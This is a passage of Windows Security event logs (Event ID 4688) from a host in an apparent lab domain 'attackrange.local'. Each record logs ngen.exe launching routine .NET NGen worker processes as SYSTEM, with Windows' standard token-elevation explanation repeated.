03/12/2021 12:09:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255175
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7d4 -InterruptEvent 0 -NGENProcess 804 -Pipe 298 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255182
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe40
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 0 -NGENProcess 338 -Pipe 2d0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255181
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x900
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f8 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 804 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255180
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1224
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 838 -InterruptEvent 0 -NGENProcess 2cc -Pipe 318 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255179
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1110
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 810 -InterruptEvent 0 -NGENProcess 7d4 -Pipe 340 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255184
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13fc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 338 -InterruptEvent 0 -NGENProcess 2cc -Pipe 2b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255183
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1010
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 838 -InterruptEvent 0 -NGENProcess 81c -Pipe 7c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:18 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255186
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe80
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 308 -Pipe 7d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:18 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255185
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 330 -InterruptEvent 0 -NGENProcess 814 -Pipe 320 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:19 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255188
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1158
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 330 -InterruptEvent 0 -NGENProcess 83c -Pipe 338 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:19 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255187
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 304 -InterruptEvent 0 -NGENProcess 814 -Pipe 810 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255194
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x129c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2ec -InterruptEvent 0 -NGENProcess 2cc -Pipe 814 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255193
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1184
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 308 -InterruptEvent 0 -NGENProcess 2dc -Pipe 280 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255192
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 2c0 -Pipe 304 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255191
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeac
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2d4 -InterruptEvent 0 -NGENProcess 31c -Pipe 290 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255190
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 308 -InterruptEvent 0 -NGENProcess 280 -Pipe 2f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255189
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x298
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 83c -InterruptEvent 0 -NGENProcess 31c -Pipe 330 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:27 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255196
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbcc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2c4 -InterruptEvent 0 -NGENProcess 368 -Pipe 2f8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:27 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255195
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
